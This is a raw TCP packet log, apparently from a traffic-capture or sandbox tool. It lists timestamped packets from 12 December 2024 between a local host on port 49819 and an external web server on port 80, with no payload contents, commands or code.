                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.741389990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.741435051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.741463900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.741504908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.742412090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.742434025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.742486954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.742923975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743010044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743074894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743159056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743752003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743861914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743928909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.743973017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.744494915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.744551897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.744628906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.744680882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.745280981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.745347023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.745421886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.745521069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746073008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746160984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746210098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746834040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746892929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.746989012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.747095108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.747618914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.747708082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.747719049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.747760057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.748501062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.748568058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.748755932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.748815060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.749228954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.749336958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.749370098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.749396086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.749974966 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750045061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750124931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750174999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750760078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750794888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750858068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.750971079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.751601934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.751739979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.751760006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.751780033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.752317905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.752378941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.752418995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.752470016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753096104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753226995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753307104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753432989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753870010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.753990889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754014015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754070044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754731894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754798889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754897118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.754970074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.755501032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.755561113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.755579948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.755644083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.756252050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.756323099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.756325006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.756366014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.756999016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.757069111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.757091999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.757113934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811295033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811363935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811403990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811501980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811687946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811748028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811788082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.811860085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.812282085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.812356949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.812391043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.812434912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.813040018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.813096046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.813103914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.813210011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848073959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848187923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848191023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848241091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848448038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848521948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848599911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.848674059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.849198103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.849262953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.849340916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.849406004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.849977970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850097895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850100994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850156069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850756884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850807905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.850872993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.851089001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.851530075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.851600885 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.851625919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.851677895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.852323055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.852432966 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.852467060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.852562904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853168964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853269100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853348970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853393078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853929996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.853981972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854026079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854115963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854659081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854706049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854782104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.854935884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.855480909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.855540991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.855616093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.855664968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.856249094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.856308937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.856372118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.856410980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857043028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857063055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857132912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857800961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857868910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.857914925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.858233929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.858697891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.858760118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.858833075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.858880043 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.859425068 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.859483004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.859483957 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.859551907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.860151052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.860219955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.860282898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.860374928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.861934900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862023115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862066984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862124920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862411976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862499952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862546921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.862641096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.863060951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.863121986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.863173008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.863271952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.926845074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.926973104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927016973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927205086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927251101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927309990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927359104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927437067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927439928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.927515030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.928149939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.928217888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.928231955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.928307056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929114103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929202080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929207087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929289103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929774046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929833889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.929864883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.930133104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.930495977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.930557013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.930639029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.930701971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.931268930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.931335926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.931407928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.931463003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.932039022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.932123899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.932265997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.932977915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933063984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933077097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933124065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933666945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933729887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933867931 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.933937073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.934391975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.934434891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.934442997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.934483051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.935189962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.935256958 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.935349941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.935439110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.935955048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.936017990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.936065912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.936115026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.936870098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.936988115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937026978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937275887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937772036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937891960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937923908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.937951088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.938275099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.938337088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.938349962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.938496113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939225912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939294100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939305067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939403057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939876080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939919949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.939982891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.940042019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.940689087 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.940715075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.940757036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.941453934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.941536903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.941577911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.941732883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.942219973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.942260027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.942354918 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.942981958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943075895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943109989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943151951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943784952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943842888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.943905115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.944546938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.944639921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.944662094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.944729090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.945370913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.945463896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.945481062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.945599079 CET4981980192.168.2.1180.82.65.70
